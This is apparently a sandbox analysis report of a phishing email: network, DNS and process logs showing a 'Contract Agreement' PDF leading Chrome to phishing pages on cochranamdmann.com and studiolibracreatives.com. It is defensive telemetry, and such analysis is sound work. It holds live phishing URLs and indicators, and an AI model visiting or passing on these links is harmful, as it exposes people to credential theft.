Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/930c69e57fdbb045/1744730288277/5038fc3415d2328c52570dd1a5aca092b769deaf52c0ff0b3f61b11b79d54e0d/1Drqbl9toTXAkYZ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/d60px/0x4AAAAAABL5dawoZSGbwYDL/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/930c69e57fdbb045/1744730288278/1-45_Y8gjvuVJY3 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/d60px/0x4AAAAAABL5dawoZSGbwYDL/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/930c69e57fdbb045/1744730288278/1-45_Y8gjvuVJY3 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/509735373:1744727329:-YW1A3bwW053c2zmmSS2OcOMzov6Q1-tW3O6WnEbbzE/930c69e57fdbb045/L9le7iPzvl.6kqXJx27DzU_8FFIEckT1r1_h8HvAV8s-1744730286-1.1.1.1-xyxc0INDBWNjnZvbqZjUv3kf8PYKsmLBXzDQyidaDQxfQVP7puliEmqOcXUvoVxN HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/509735373:1744727329:-YW1A3bwW053c2zmmSS2OcOMzov6Q1-tW3O6WnEbbzE/930c69e57fdbb045/L9le7iPzvl.6kqXJx27DzU_8FFIEckT1r1_h8HvAV8s-1744730286-1.1.1.1-xyxc0INDBWNjnZvbqZjUv3kf8PYKsmLBXzDQyidaDQxfQVP7puliEmqOcXUvoVxN HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/apkPBDObFsRXMYdhB2iMWoRnoadWepmsZHPA HTTP/1.1Host: cochranamdmann.comConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/apkPBDObFsRXMYdhB2iMWoRnoadWepmsZHPAAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=jbnbbdlaufu9hm8ter40nqskit; cookie_test=test; js_enabled=true
Source: global traffic	HTTP traffic detected: GET /bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/assets/js/url_helper.js HTTP/1.1Host: cochranamdmann.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/apkPBDObFsRXMYdhB2iMWoRnoadWepmsZHPAAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=jbnbbdlaufu9hm8ter40nqskit; cookie_test=test; js_enabled=true
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://cochranamdmann.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/assets/js/endpoint.js HTTP/1.1Host: cochranamdmann.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/apkPBDObFsRXMYdhB2iMWoRnoadWepmsZHPAAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=jbnbbdlaufu9hm8ter40nqskit; cookie_test=test; js_enabled=true
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://cochranamdmann.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://cochranamdmann.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: one.alketbilabs.aiConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ipapi.coConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://cochranamdmann.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cochranamdmann.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ipapi.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: pub-e34937fc417148e6b0ed0cb1209aabd4.r2.dev
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: cochranamdmann.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: one.alketbilabs.ai
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: ipapi.co
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com

Source: unknown

HTTP traffic detected: POST /bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/apkPBDObFsRXMYdhB2iMWoRnoadWepmsZHPA HTTP/1.1Host: cochranamdmann.comConnection: keep-aliveContent-Length: 26Cache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Origin: https://pub-e34937fc417148e6b0ed0cb1209aabd4.r2.devContent-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://pub-e34937fc417148e6b0ed0cb1209aabd4.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Tue, 15 Apr 2025 15:17:53 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 15:17:53 GMTContent-Type: text/htmlContent-Length: 27150Connection: closeServer: cloudflareCF-RAY: 930c6990a8d11d76-ATL
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 15:18:08 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeServer: cloudflareCache-Control: max-age=14400Cf-Cache-Status: MISSCF-RAY: 930c69eafacf1e6d-ZRHalt-svc: h3=":443"; ma=86400

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49689
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 88.198.22.18:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 88.198.22.18:443 -> 192.168.2.16:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 88.198.22.18:443 -> 192.168.2.16:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.140.237:443 -> 192.168.2.16:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.140.237:443 -> 192.168.2.16:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.140.237:443 -> 192.168.2.16:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 74.125.138.147:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.152:443 -> 192.168.2.16:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.152:443 -> 192.168.2.16:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.16:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.1.170:443 -> 192.168.2.16:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.16:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.68.147:443 -> 192.168.2.16:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.8.44:443 -> 192.168.2.16:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.8.44:443 -> 192.168.2.16:49771 version: TLS 1.2

Source: classification engine

Classification label: mal68.phis.winEML@45/47@29/160

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20250415T1117010739-7040.etl

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File read: C:\Users\desktop.ini

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\original.eml"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "99989DC4-AA4C-4DF1-A75E-5019F70D24F3" "13742CC7-0F2E-4A32-B1A8-902775E4788D" "7040" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "99989DC4-AA4C-4DF1-A75E-5019F70D24F3" "13742CC7-0F2E-4A32-B1A8-902775E4788D" "7040" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\C2NOL0OA\phish_alert_iocp_v1.4.68.eml"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\C2NOL0OA\Contract Agreement4750993387597316495427877665.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2236 --field-trial-handle=1580,i,9066445822376409500,15523697511158691536,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\C2NOL0OA\phish_alert_iocp_v1.4.68.eml"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://studiolibracreatives.com/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1856,i,2560975313422804885,8050898146808390072,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2240 /prefetch:3
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\C2NOL0OA\Contract Agreement4750993387597316495427877665.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://studiolibracreatives.com/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3.html
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
